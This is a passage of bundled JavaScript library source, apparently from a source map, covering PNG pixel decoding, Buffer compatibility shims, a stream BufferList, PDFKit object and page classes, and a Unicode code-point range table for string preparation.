b4 = this.data[this.pos++];\n return b1 | b2 | b3 | b4;\n }\n\n readUInt16() {\n const b1 = this.data[this.pos++] << 8;\n const b2 = this.data[this.pos++];\n return b1 | b2;\n }\n\n decodePixels(fn) {\n return zlib.inflate(this.imgData, (err, data) => {\n if (err) {\n throw err;\n }\n\n const { width, height } = this;\n const pixelBytes = this.pixelBitlength / 8;\n\n const pixels = new Buffer(width * height * pixelBytes);\n const { length } = data;\n let pos = 0;\n\n function pass(x0, y0, dx, dy, singlePass = false) {\n const w = Math.ceil((width - x0) / dx);\n const h = Math.ceil((height - y0) / dy);\n const scanlineLength = pixelBytes * w;\n const buffer = singlePass ? pixels : new Buffer(scanlineLength * h);\n let row = 0;\n let c = 0;\n while (row < h && pos < length) {\n var byte, col, i, left, upper;\n switch (data[pos++]) {\n case 0: // None\n for (i = 0; i < scanlineLength; i++) {\n buffer[c++] = data[pos++];\n }\n break;\n\n case 1: // Sub\n for (i = 0; i < scanlineLength; i++) {\n byte = data[pos++];\n left = i < pixelBytes ? 0 : buffer[c - pixelBytes];\n buffer[c++] = (byte + left) % 256;\n }\n break;\n\n case 2: // Up\n for (i = 0; i < scanlineLength; i++) {\n byte = data[pos++];\n col = (i - (i % pixelBytes)) / pixelBytes;\n upper =\n row &&\n buffer[\n (row - 1) * scanlineLength +\n col * pixelBytes +\n (i % pixelBytes)\n ];\n buffer[c++] = (upper + byte) % 256;\n }\n break;\n\n case 3: // Average\n for (i = 0; i < scanlineLength; i++) {\n byte = data[pos++];\n col = (i - (i % pixelBytes)) / pixelBytes;\n left = i < pixelBytes ? 0 : buffer[c - pixelBytes];\n upper =\n row &&\n buffer[\n (row - 1) * scanlineLength +\n col * pixelBytes +\n (i % pixelBytes)\n ];\n buffer[c++] = (byte + Math.floor((left + upper) / 2)) % 256;\n }\n break;\n\n case 4: // Paeth\n for (i = 0; i < scanlineLength; i++) {\n var paeth, upperLeft;\n byte = data[pos++];\n col = (i - (i % pixelBytes)) / pixelBytes;\n left = i < pixelBytes ? 0 : buffer[c - pixelBytes];\n\n if (row === 0) {\n upper = upperLeft = 0;\n } else {\n upper =\n buffer[\n (row - 1) * scanlineLength +\n col * pixelBytes +\n (i % pixelBytes)\n ];\n upperLeft =\n col &&\n buffer[\n (row - 1) * scanlineLength +\n (col - 1) * pixelBytes +\n (i % pixelBytes)\n ];\n }\n\n const p = left + upper - upperLeft;\n const pa = Math.abs(p - left);\n const pb = Math.abs(p - upper);\n const pc = Math.abs(p - upperLeft);\n\n if (pa <= pb && pa <= pc) {\n paeth = left;\n } else if (pb <= pc) {\n paeth = upper;\n } else {\n paeth = upperLeft;\n }\n\n buffer[c++] = (byte + paeth) % 256;\n }\n break;\n\n default:\n throw new Error(`Invalid filter algorithm: ${data[pos - 1]}`);\n }\n\n if (!singlePass) {\n let pixelsPos = ((y0 + row * dy) * width + x0) * pixelBytes;\n let bufferPos = row * scanlineLength;\n for (i = 0; i < w; i++) {\n for (let j = 0; j < pixelBytes; j++)\n pixels[pixelsPos++] = buffer[bufferPos++];\n pixelsPos += (dx - 1) * pixelBytes;\n }\n }\n\n row++;\n }\n }\n\n if (this.interlaceMethod === 1) {\n /*\n 1 6 4 6 2 6 4 6\n 7 7 7 7 7 7 7 7\n 5 6 5 6 5 6 5 6\n 7 7 7 7 7 7 7 7\n 3 6 4 6 3 6 4 6\n 7 7 7 7 7 7 7 7\n 5 6 5 6 5 6 5 6\n 7 7 7 7 7 7 7 7\n */\n pass(0, 0, 8, 8); // 1\n pass(4, 0, 8, 8); // 2\n pass(0, 4, 4, 8); // 3\n pass(2, 0, 4, 4); // 4\n pass(0, 2, 2, 4); // 5\n pass(1, 0, 2, 2); // 6\n pass(0, 1, 1, 2); // 7\n } else {\n pass(0, 0, 1, 1, true);\n }\n\n return fn(pixels);\n });\n }\n\n decodePalette() {\n const { palette } = this;\n const { length } = palette;\n const transparency = this.transparency.indexed || [];\n const ret = new Buffer(transparency.length + length);\n let pos = 0;\n let c = 0;\n\n for (let i = 0; i < length; i += 3) {\n var left;\n ret[pos++] = palette[i];\n ret[pos++] = palette[i + 1];\n ret[pos++] = palette[i + 2];\n ret[pos++] = (left = transparency[c++]) != null ? left : 255;\n }\n\n return ret;\n }\n\n copyToImageData(imageData, pixels) {\n let j, k;\n let { colors } = this;\n let palette = null;\n let alpha = this.hasAlphaChannel;\n\n if (this.palette.length) {\n palette =\n this._decodedPalette || (this._decodedPalette = this.decodePalette());\n colors = 4;\n alpha = true;\n }\n\n const data = imageData.data || imageData;\n const { length } = data;\n const input = palette || pixels;\n let i = (j = 0);\n\n if (colors === 1) {\n while (i < length) {\n k = palette ? pixels[i / 4] * 4 : j;\n const v = input[k++];\n data[i++] = v;\n data[i++] = v;\n data[i++] = v;\n data[i++] = alpha ? input[k++] : 255;\n j = k;\n }\n } else {\n while (i < length) {\n k = palette ? pixels[i / 4] * 4 : j;\n data[i++] = input[k++];\n data[i++] = input[k++];\n data[i++] = input[k++];\n data[i++] = alpha ? input[k++] : 255;\n j = k;\n }\n }\n }\n\n decode(fn) {\n const ret = new Buffer(this.width * this.height * 4);\n return this.decodePixels(pixels => {\n this.copyToImageData(ret, pixels);\n return fn(ret);\n });\n }\n};\n","/* eslint-disable node/no-deprecated-api */\nvar buffer = require('buffer')\nvar Buffer = buffer.Buffer\n\n// alternative to using Object.keys for old browsers\nfunction copyProps (src, dst) {\n for (var key in src) {\n dst[key] = src[key]\n }\n}\nif (Buffer.from && Buffer.alloc && Buffer.allocUnsafe && Buffer.allocUnsafeSlow) {\n module.exports = buffer\n} else {\n // Copy properties from require('buffer')\n copyProps(buffer, exports)\n exports.Buffer = SafeBuffer\n}\n\nfunction SafeBuffer (arg, encodingOrOffset, length) {\n return Buffer(arg, encodingOrOffset, length)\n}\n\n// Copy static methods from Buffer\ncopyProps(Buffer, SafeBuffer)\n\nSafeBuffer.from = function (arg, encodingOrOffset, length) {\n if (typeof arg === 'number') {\n throw new TypeError('Argument must not be a number')\n }\n return Buffer(arg, encodingOrOffset, length)\n}\n\nSafeBuffer.alloc = function (size, fill, encoding) {\n if (typeof size !== 'number') {\n throw new TypeError('Argument must be a number')\n }\n var buf = Buffer(size)\n if (fill !== undefined) {\n if (typeof encoding === 'string') {\n buf.fill(fill, encoding)\n } else {\n buf.fill(fill)\n }\n } else {\n buf.fill(0)\n }\n return buf\n}\n\nSafeBuffer.allocUnsafe = function (size) {\n if (typeof size !== 'number') {\n throw new TypeError('Argument must be a number')\n }\n return Buffer(size)\n}\n\nSafeBuffer.allocUnsafeSlow = function (size) {\n if (typeof size !== 'number') {\n throw new TypeError('Argument must be a number')\n }\n return buffer.SlowBuffer(size)\n}\n","/* eslint-disable node/no-deprecated-api */\n\n'use strict'\n\nvar buffer = require('buffer')\nvar Buffer = buffer.Buffer\n\nvar safer = {}\n\nvar key\n\nfor (key in buffer) {\n if (!buffer.hasOwnProperty(key)) continue\n if (key === 'SlowBuffer' || key === 'Buffer') continue\n safer[key] = buffer[key]\n}\n\nvar Safer = safer.Buffer = {}\nfor (key in Buffer) {\n if (!Buffer.hasOwnProperty(key)) continue\n if (key === 'allocUnsafe' || key === 'allocUnsafeSlow') continue\n Safer[key] = Buffer[key]\n}\n\nsafer.Buffer.prototype = Buffer.prototype\n\nif (!Safer.from || Safer.from === Uint8Array.from) {\n Safer.from = function (value, encodingOrOffset, length) {\n if (typeof value === 'number') {\n throw new TypeError('The \"value\" argument must not be of type number. Received type ' + typeof value)\n }\n if (value && typeof value.length === 'undefined') {\n throw new TypeError('The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type ' + typeof value)\n }\n return Buffer(value, encodingOrOffset, length)\n }\n}\n\nif (!Safer.alloc) {\n Safer.alloc = function (size, fill, encoding) {\n if (typeof size !== 'number') {\n throw new TypeError('The \"size\" argument must be of type number. Received type ' + typeof size)\n }\n if (size < 0 || size >= 2 * (1 << 30)) {\n throw new RangeError('The value \"' + size + '\" is invalid for option \"size\"')\n }\n var buf = Buffer(size)\n if (!fill || fill.length === 0) {\n buf.fill(0)\n } else if (typeof encoding === 'string') {\n buf.fill(fill, encoding)\n } else {\n buf.fill(fill)\n }\n return buf\n }\n}\n\nif (!safer.kStringMaxLength) {\n try {\n safer.kStringMaxLength = process.binding('buffer').kStringMaxLength\n } catch (e) {\n // we can't determine kStringMaxLength in environments where process.binding\n // is unsupported, so let's not set it\n }\n}\n\nif (!safer.constants) {\n safer.constants = {\n MAX_LENGTH: safer.kMaxLength\n }\n if (safer.kStringMaxLength) {\n safer.constants.MAX_STRING_LENGTH = safer.kStringMaxLength\n }\n}\n\nmodule.exports = safer\n","'use strict';\n\nfunction ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }\n\nfunction _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(Object(source), true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }\n\nfunction _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nvar _require = require('buffer'),\n Buffer = _require.Buffer;\n\nvar _require2 = require('util'),\n inspect = _require2.inspect;\n\nvar custom = inspect && inspect.custom || 'inspect';\n\nfunction copyBuffer(src, target, offset) {\n Buffer.prototype.copy.call(src, target, offset);\n}\n\nmodule.exports =\n/*#__PURE__*/\nfunction () {\n function BufferList() {\n _classCallCheck(this, BufferList);\n\n this.head = null;\n this.tail = null;\n this.length = 0;\n }\n\n _createClass(BufferList, [{\n key: \"push\",\n value: function push(v) {\n var entry = {\n data: v,\n next: null\n };\n if (this.length > 0) this.tail.next = entry;else this.head = entry;\n this.tail = entry;\n ++this.length;\n }\n }, {\n key: \"unshift\",\n value: function unshift(v) {\n var entry = {\n data: v,\n next: this.head\n };\n if (this.length === 0) this.tail = entry;\n this.head = entry;\n ++this.length;\n }\n }, {\n key: \"shift\",\n value: function shift() {\n if (this.length === 0) return;\n var ret = this.head.data;\n if (this.length === 1) this.head = this.tail = null;else this.head = this.head.next;\n --this.length;\n return ret;\n }\n }, {\n key: \"clear\",\n value: function clear() {\n this.head = this.tail = null;\n this.length = 0;\n }\n }, {\n key: \"join\",\n value: function join(s) {\n if (this.length === 0) return '';\n var p = this.head;\n var ret = '' + p.data;\n\n while (p = p.next) {\n ret += s + p.data;\n }\n\n return ret;\n }\n }, {\n key: \"concat\",\n value: function concat(n) {\n if (this.length === 0) return Buffer.alloc(0);\n var ret = Buffer.allocUnsafe(n >>> 0);\n var p = this.head;\n var i = 0;\n\n while (p) {\n copyBuffer(p.data, ret, i);\n i += p.data.length;\n p = p.next;\n }\n\n return ret;\n } // Consumes a specified amount of bytes or characters from the buffered data.\n\n }, {\n key: \"consume\",\n value: function consume(n, hasStrings) {\n var ret;\n\n if (n < this.head.data.length) {\n // `slice` is the same for buffers and strings.\n ret = this.head.data.slice(0, n);\n this.head.data = this.head.data.slice(n);\n } else if (n === this.head.data.length) {\n // First chunk is a perfect match.\n ret = this.shift();\n } else {\n // Result spans more than one buffer.\n ret = hasStrings ? this._getString(n) : this._getBuffer(n);\n }\n\n return ret;\n }\n }, {\n key: \"first\",\n value: function first() {\n return this.head.data;\n } // Consumes a specified amount of characters from the buffered data.\n\n }, {\n key: \"_getString\",\n value: function _getString(n) {\n var p = this.head;\n var c = 1;\n var ret = p.data;\n n -= ret.length;\n\n while (p = p.next) {\n var str = p.data;\n var nb = n > str.length ? str.length : n;\n if (nb === str.length) ret += str;else ret += str.slice(0, n);\n n -= nb;\n\n if (n === 0) {\n if (nb === str.length) {\n ++c;\n if (p.next) this.head = p.next;else this.head = this.tail = null;\n } else {\n this.head = p;\n p.data = str.slice(nb);\n }\n\n break;\n }\n\n ++c;\n }\n\n this.length -= c;\n return ret;\n } // Consumes a specified amount of bytes from the buffered data.\n\n }, {\n key: \"_getBuffer\",\n value: function _getBuffer(n) {\n var ret = Buffer.allocUnsafe(n);\n var p = this.head;\n var c = 1;\n p.data.copy(ret);\n n -= p.data.length;\n\n while (p = p.next) {\n var buf = p.data;\n var nb = n > buf.length ? buf.length : n;\n buf.copy(ret, ret.length - n, 0, nb);\n n -= nb;\n\n if (n === 0) {\n if (nb === buf.length) {\n ++c;\n if (p.next) this.head = p.next;else this.head = this.tail = null;\n } else {\n this.head = p;\n p.data = buf.slice(nb);\n }\n\n break;\n }\n\n ++c;\n }\n\n this.length -= c;\n return ret;\n } // Make sure the linked list only shows the minimal necessary information.\n\n }, {\n key: custom,\n value: function value(_, options) {\n return inspect(this, _objectSpread({}, options, {\n // Only inspect one level.\n depth: 0,\n // It should not recurse.\n customInspect: false\n }));\n }\n }]);\n\n return BufferList;\n}();","/*\r\nPDFAbstractReference - abstract class for PDF reference\r\n*/\r\n\r\nclass PDFAbstractReference {\r\n toString() {\r\n throw new Error('Must be implemented by subclasses');\r\n }\r\n}\r\n\r\nexport default PDFAbstractReference;\r\n","/*\r\nPDFTree - abstract base class for name and number tree objects\r\n*/\r\n\r\nimport PDFObject from './object';\r\n\r\nclass PDFTree {\r\n constructor(options = {}) {\r\n this._items = {};\r\n // disable /Limits output for this tree\r\n this.limits =\r\n typeof options.limits === 'boolean' ? options.limits : true;\r\n }\r\n\r\n add(key, val) {\r\n return (this._items[key] = val);\r\n }\r\n\r\n get(key) {\r\n return this._items[key];\r\n }\r\n\r\n toString() {\r\n // Needs to be sorted by key\r\n const sortedKeys = Object.keys(this._items).sort((a, b) =>\r\n this._compareKeys(a, b)\r\n );\r\n\r\n const out = ['<<'];\r\n if (this.limits && sortedKeys.length > 1) {\r\n const first = sortedKeys[0],\r\n last = sortedKeys[sortedKeys.length - 1];\r\n out.push(\r\n ` /Limits ${PDFObject.convert([this._dataForKey(first), this._dataForKey(last)])}`\r\n );\r\n }\r\n out.push(` /${this._keysName()} [`);\r\n for (let key of sortedKeys) {\r\n out.push(\r\n ` ${PDFObject.convert(this._dataForKey(key))} ${PDFObject.convert(\r\n this._items[key]\r\n )}`\r\n );\r\n }\r\n out.push(']');\r\n out.push('>>');\r\n return out.join('\\n');\r\n }\r\n\r\n _compareKeys(/*a, b*/) {\r\n throw new Error('Must be implemented by subclasses');\r\n }\r\n\r\n _keysName() {\r\n throw new Error('Must be implemented by subclasses');\r\n }\r\n\r\n _dataForKey(/*k*/) {\r\n throw new Error('Must be implemented by subclasses');\r\n }\r\n}\r\n\r\nexport default PDFTree;\r\n","/*\r\nPDFObject - converts JavaScript types into their corresponding PDF types.\r\nBy Devon Govett\r\n*/\r\n\r\nimport PDFAbstractReference from './abstract_reference';\r\nimport PDFTree from './tree';\r\n\r\nconst pad = (str, length) => (Array(length + 1).join('0') + str).slice(-length);\r\n\r\nconst escapableRe = /[\\n\\r\\t\\b\\f()\\\\]/g;\r\nconst escapable = {\r\n '\\n': '\\\\n',\r\n '\\r': '\\\\r',\r\n '\\t': '\\\\t',\r\n '\\b': '\\\\b',\r\n '\\f': '\\\\f',\r\n '\\\\': '\\\\\\\\',\r\n '(': '\\\\(',\r\n ')': '\\\\)'\r\n};\r\n\r\n// Convert little endian UTF-16 to big endian\r\nconst swapBytes = function(buff) {\r\n const l = buff.length;\r\n if (l & 0x01) {\r\n throw new Error('Buffer length must be even');\r\n } else {\r\n for (let i = 0, end = l - 1; i < end; i += 2) {\r\n const a = buff[i];\r\n buff[i] = buff[i + 1];\r\n buff[i + 1] = a;\r\n }\r\n }\r\n\r\n return buff;\r\n};\r\n\r\nclass PDFObject {\r\n static convert(object, encryptFn = null) {\r\n // String literals are converted to the PDF name type\r\n if (typeof object === 'string') {\r\n return `/${object}`;\r\n\r\n // String objects are converted to PDF strings (UTF-16)\r\n } else if (object instanceof String) {\r\n let string = object;\r\n // Detect if this is a unicode string\r\n let isUnicode = false;\r\n for (let i = 0, end = string.length; i < end; i++) {\r\n if (string.charCodeAt(i) > 0x7f) {\r\n isUnicode = true;\r\n break;\r\n }\r\n }\r\n\r\n // If so, encode it as big endian UTF-16\r\n let stringBuffer;\r\n if (isUnicode) {\r\n stringBuffer = swapBytes(Buffer.from(`\\ufeff${string}`, 'utf16le'));\r\n } else {\r\n stringBuffer = Buffer.from(string.valueOf(), 'ascii');\r\n }\r\n\r\n // Encrypt the string when necessary\r\n if (encryptFn) {\r\n string = encryptFn(stringBuffer).toString('binary');\r\n } else {\r\n string = stringBuffer.toString('binary');\r\n }\r\n\r\n // Escape characters as required by the spec\r\n string = string.replace(escapableRe, c => escapable[c]);\r\n\r\n return `(${string})`;\r\n\r\n // Buffers are converted to PDF hex strings\r\n } else if (Buffer.isBuffer(object)) {\r\n return `<${object.toString('hex')}>`;\r\n } else if (\r\n object instanceof PDFAbstractReference ||\r\n object instanceof PDFTree\r\n ) {\r\n return object.toString();\r\n } else if (object instanceof Date) {\r\n let string =\r\n `D:${pad(object.getUTCFullYear(), 4)}` +\r\n pad(object.getUTCMonth() + 1, 2) +\r\n pad(object.getUTCDate(), 2) +\r\n pad(object.getUTCHours(), 2) +\r\n pad(object.getUTCMinutes(), 2) +\r\n pad(object.getUTCSeconds(), 2) +\r\n 'Z';\r\n\r\n // Encrypt the string when necessary\r\n if (encryptFn) {\r\n string = encryptFn(Buffer.from(string, 'ascii')).toString('binary');\r\n\r\n // Escape characters as required by the spec\r\n string = string.replace(escapableRe, c => escapable[c]);\r\n }\r\n\r\n return `(${string})`;\r\n } else if (Array.isArray(object)) {\r\n const items = object.map(e => PDFObject.convert(e, encryptFn)).join(' ');\r\n return `[${items}]`;\r\n } else if ({}.toString.call(object) === '[object Object]') {\r\n const out = ['<<'];\r\n for (let key in object) {\r\n const val = object[key];\r\n out.push(`/${key} ${PDFObject.convert(val, encryptFn)}`);\r\n }\r\n\r\n out.push('>>');\r\n return out.join('\\n');\r\n } else if (typeof object === 'number') {\r\n return PDFObject.number(object);\r\n } else {\r\n return `${object}`;\r\n }\r\n }\r\n\r\n static number(n) {\r\n if (n > -1e21 && n < 1e21) {\r\n return Math.round(n * 1e6) / 1e6;\r\n }\r\n\r\n throw new Error(`unsupported number: ${n}`);\r\n }\r\n}\r\n\r\nexport default PDFObject;\r\n","/*\r\nPDFReference - represents a reference to another object in the PDF object heirarchy\r\nBy Devon Govett\r\n*/\r\n\r\nimport zlib from 'zlib';\r\nimport PDFAbstractReference from './abstract_reference';\r\nimport PDFObject from './object';\r\n\r\nclass PDFReference extends PDFAbstractReference {\r\n constructor(document, id, data = {}) {\r\n super();\r\n this.document = document;\r\n this.id = id;\r\n this.data = data;\r\n this.gen = 0;\r\n this.compress = this.document.compress && !this.data.Filter;\r\n this.uncompressedLength = 0;\r\n this.buffer = [];\r\n }\r\n\r\n write(chunk) {\r\n if (!Buffer.isBuffer(chunk)) {\r\n chunk = Buffer.from(chunk + '\\n', 'binary');\r\n }\r\n\r\n this.uncompressedLength += chunk.length;\r\n if (this.data.Length == null) {\r\n this.data.Length = 0;\r\n }\r\n this.buffer.push(chunk);\r\n this.data.Length += chunk.length;\r\n if (this.compress) {\r\n return (this.data.Filter = 'FlateDecode');\r\n }\r\n }\r\n\r\n end(chunk) {\r\n if (chunk) {\r\n this.write(chunk);\r\n }\r\n return this.finalize();\r\n }\r\n\r\n finalize() {\r\n this.offset = this.document._offset;\r\n\r\n const encryptFn = this.document._security\r\n ? this.document._security.getEncryptFn(this.id, this.gen)\r\n : null;\r\n\r\n if (this.buffer.length) {\r\n this.buffer = Buffer.concat(this.buffer);\r\n if (this.compress) {\r\n this.buffer = zlib.deflateSync(this.buffer);\r\n }\r\n\r\n if (encryptFn) {\r\n this.buffer = encryptFn(this.buffer);\r\n }\r\n\r\n this.data.Length = this.buffer.length;\r\n }\r\n\r\n this.document._write(`${this.id} ${this.gen} obj`);\r\n this.document._write(PDFObject.convert(this.data, encryptFn));\r\n\r\n if (this.buffer.length) {\r\n this.document._write('stream');\r\n this.document._write(this.buffer);\r\n\r\n this.buffer = []; // free up memory\r\n this.document._write('\\nendstream');\r\n }\r\n\r\n this.document._write('endobj');\r\n this.document._refEnd(this);\r\n }\r\n toString() {\r\n return `${this.id} ${this.gen} R`;\r\n }\r\n}\r\n\r\nexport default PDFReference;\r\n","/*\r\nPDFPage - represents a single page in the PDF document\r\nBy Devon Govett\r\n*/\r\n\r\nconst DEFAULT_MARGINS = {\r\n top: 72,\r\n left: 72,\r\n bottom: 72,\r\n right: 72\r\n};\r\n\r\nconst SIZES = {\r\n '4A0': [4767.87, 6740.79],\r\n '2A0': [3370.39, 4767.87],\r\n A0: [2383.94, 3370.39],\r\n A1: [1683.78, 2383.94],\r\n A2: [1190.55, 1683.78],\r\n A3: [841.89, 1190.55],\r\n A4: [595.28, 841.89],\r\n A5: [419.53, 595.28],\r\n A6: [297.64, 419.53],\r\n A7: [209.76, 297.64],\r\n A8: [147.4, 209.76],\r\n A9: [104.88, 147.4],\r\n A10: [73.7, 104.88],\r\n B0: [2834.65, 4008.19],\r\n B1: [2004.09, 2834.65],\r\n B2: [1417.32, 2004.09],\r\n B3: [1000.63, 1417.32],\r\n B4: [708.66, 1000.63],\r\n B5: [498.9, 708.66],\r\n B6: [354.33, 498.9],\r\n B7: [249.45, 354.33],\r\n B8: [175.75, 249.45],\r\n B9: [124.72, 175.75],\r\n B10: [87.87, 124.72],\r\n C0: [2599.37, 3676.54],\r\n C1: [1836.85, 2599.37],\r\n C2: [1298.27, 1836.85],\r\n C3: [918.43, 1298.27],\r\n C4: [649.13, 918.43],\r\n C5: [459.21, 649.13],\r\n C6: [323.15, 459.21],\r\n C7: [229.61, 323.15],\r\n C8: [161.57, 229.61],\r\n C9: [113.39, 161.57],\r\n C10: [79.37, 113.39],\r\n RA0: [2437.8, 3458.27],\r\n RA1: [1729.13, 2437.8],\r\n RA2: [1218.9, 1729.13],\r\n RA3: [864.57, 1218.9],\r\n RA4: [609.45, 864.57],\r\n SRA0: [2551.18, 3628.35],\r\n SRA1: [1814.17, 2551.18],\r\n SRA2: [1275.59, 1814.17],\r\n SRA3: [907.09, 1275.59],\r\n SRA4: [637.8, 907.09],\r\n EXECUTIVE: [521.86, 756.0],\r\n FOLIO: [612.0, 936.0],\r\n LEGAL: [612.0, 1008.0],\r\n LETTER: [612.0, 792.0],\r\n TABLOID: [792.0, 1224.0]\r\n};\r\n\r\nclass PDFPage {\r\n constructor(document, options = {}) {\r\n this.document = document;\r\n this.size = options.size || 'letter';\r\n this.layout = options.layout || 'portrait';\r\n\r\n // process margins\r\n if (typeof options.margin === 'number') {\r\n this.margins = {\r\n top: options.margin,\r\n left: options.margin,\r\n bottom: options.margin,\r\n right: options.margin\r\n };\r\n\r\n // default to 1 inch margins\r\n } else {\r\n this.margins = options.margins || DEFAULT_MARGINS;\r\n }\r\n\r\n // calculate page dimensions\r\n const dimensions = Array.isArray(this.size)\r\n ? this.size\r\n : SIZES[this.size.toUpperCase()];\r\n this.width = dimensions[this.layout === 'portrait' ? 0 : 1];\r\n this.height = dimensions[this.layout === 'portrait' ? 1 : 0];\r\n\r\n this.content = this.document.ref();\r\n\r\n // Initialize the Font, XObject, and ExtGState dictionaries\r\n this.resources = this.document.ref({\r\n ProcSet: ['PDF', 'Text', 'ImageB', 'ImageC', 'ImageI']\r\n });\r\n\r\n // The page dictionary\r\n this.dictionary = this.document.ref({\r\n Type: 'Page',\r\n Parent: this.document._root.data.Pages,\r\n MediaBox: [0, 0, this.width, this.height],\r\n Contents: this.content,\r\n Resources: this.resources\r\n });\r\n\r\n this.markings = [];\r\n }\r\n\r\n // Lazily create these objects\r\n get fonts() {\r\n const data = this.resources.data;\r\n return data.Font != null ? data.Font : (data.Font = {});\r\n }\r\n\r\n get xobjects() {\r\n const data = this.resources.data;\r\n return data.XObject != null ? data.XObject : (data.XObject = {});\r\n }\r\n\r\n get ext_gstates() {\r\n const data = this.resources.data;\r\n return data.ExtGState != null ? data.ExtGState : (data.ExtGState = {});\r\n }\r\n\r\n get patterns() {\r\n const data = this.resources.data;\r\n return data.Pattern != null ? data.Pattern : (data.Pattern = {});\r\n }\r\n\r\n get colorSpaces() {\r\n const data = this.resources.data;\r\n return data.ColorSpace || (data.ColorSpace = {});\r\n }\r\n\r\n get annotations() {\r\n const data = this.dictionary.data;\r\n return data.Annots != null ? data.Annots : (data.Annots = []);\r\n }\r\n\r\n get structParentTreeKey() {\r\n const data = this.dictionary.data;\r\n return data.StructParents != null\r\n ? data.StructParents\r\n : (data.StructParents = this.document.createStructParentTreeNextKey());\r\n }\r\n\r\n maxY() {\r\n return this.height - this.margins.bottom;\r\n }\r\n\r\n write(chunk) {\r\n return this.content.write(chunk);\r\n }\r\n\r\n end() {\r\n this.dictionary.end();\r\n this.resources.end();\r\n return this.content.end();\r\n }\r\n}\r\n\r\nexport default PDFPage;\r\n","/*\r\nPDFNameTree - represents a name tree object\r\n*/\r\n\r\nimport PDFTree from \"./tree\";\r\n\r\nclass PDFNameTree extends PDFTree {\r\n _compareKeys(a, b) {\r\n return a.localeCompare(b);\r\n }\r\n\r\n _keysName() {\r\n return \"Names\";\r\n }\r\n\r\n _dataForKey(k) {\r\n return new String(k);\r\n }\r\n}\r\n\r\nexport default PDFNameTree;\r\n","/**\r\n * Check if value is in a range group.\r\n * @param {number} value\r\n * @param {number[]} rangeGroup\r\n * @returns {boolean}\r\n */\r\nfunction inRange(value, rangeGroup) {\r\n if (value < rangeGroup[0]) return false;\r\n let startRange = 0;\r\n let endRange = rangeGroup.length / 2;\r\n while (startRange <= endRange) {\r\n const middleRange = Math.floor((startRange + endRange) / 2);\r\n\r\n // actual array index\r\n const arrayIndex = middleRange * 2;\r\n\r\n // Check if value is in range pointed by actual index\r\n if (\r\n value >= rangeGroup[arrayIndex] &&\r\n value <= rangeGroup[arrayIndex + 1]\r\n ) {\r\n return true;\r\n }\r\n\r\n if (value > rangeGroup[arrayIndex + 1]) {\r\n // Search Right Side Of Array\r\n startRange = middleRange + 1;\r\n } else {\r\n // Search Left Side Of Array\r\n endRange = middleRange - 1;\r\n }\r\n }\r\n return false;\r\n}\r\n\r\nexport { inRange };\r\n","import { inRange } from './util';\r\n\r\n// prettier-ignore-start\r\n/**\r\n * A.1 Unassigned code points in Unicode 3.2\r\n * @link https://tools.ietf.org/html/rfc3454#appendix-A.1\r\n */\r\nconst unassigned_code_points = [\r\n 0x0221,\r\n 0x0221,\r\n 0x0234,\r\n 0x024f,\r\n 0x02ae,\r\n 0x02af,\r\n 0x02ef,\r\n 0x02ff,\r\n 0x0350,\r\n 0x035f,\r\n 0x0370,\r\n 0x0373,\r\n 0x0376,\r\n 0x0379,\r\n 0x037b,\r\n 0x037d,\r\n 0x037f,\r\n 0x0383,\r\n 0x038b,\r\n 0x038b,\r\n 0x038d,\r\n 0x038d,\r\n 0x03a2,\r\n 0x03a2,\r\n 0x03cf,\r\n 0x03cf,\r\n 0x03f7,\r\n 0x03ff,\r\n 0x0487,\r\n 0x0487,\r\n 0x04cf,\r\n 0x04cf,\r\n 0x04f6,\r\n 0x04f7,\r\n 0x04fa,\r\n 0x04ff,\r\n 0x0510,\r\n 0x0530,\r\n 0x0557,\r\n 0x0558,\r\n 0x0560,\r\n 0x0560,\r\n 0x0588,\r\n 0x0588,\r\n 0x058b,\r\n 0x0590,\r\n 0x05a2,\r\n 0x05a2,\r\n 0x05ba,\r\n 0x05ba,\r\n 0x05c5,\r\n 0x05cf,\r\n 0x05eb,\r\n 0x05ef,\r\n 0x05f5,\r\n 0x060b,\r\n 0x060d,\r\n 0x061a,\r\n 0x061c,\r\n 0x061e,\r\n 0x0620,\r\n 0x0620,\r\n 0x063b,\r\n 0x063f,\r\n 0x0656,\r\n 0x065f,\r\n 0x06ee,\r\n 0x06ef,\r\n 0x06ff,\r\n 0x06ff,\r\n 0x070e,\r\n 0x070e,\r\n 0x072d,\r\n 0x072f,\r\n 0x074b,\r\n 0x077f,\r\n 0x07b2,\r\n 0x0900,\r\n 0x0904,\r\n 0x0904,\r\n 0x093a,\r\n 0x093b,\r\n 0x094e,\r\n 0x094f,\r\n 0x0955,\r\n 0x0957,\r\n 0x0971,\r\n 0x0980,\r\n 0x0984,\r\n 0x0984,\r\n 0x098d,\r\n 0x098e,\r\n 0x0991,\r\n 0x0992,\r\n 0x09a9,\r\n 0x09a9,\r\n 0x09b1,\r\n 0x09b1,\r\n 0x09b3,\r\n 0x09b5,\r\n 0x09ba,\r\n 0x09bb,\r\n 0x09bd,\r\n 0x09bd,\r\n 0x09c5,\r\n 0x09c6,\r\n 0x09c9,\r\n 0x09ca,\r\n 0x09ce,\r\n 0x09d6,\r\n 0x09d8,\r\n 0x09db,\r\n 0x09de,\r\n 0x09de,\r\n 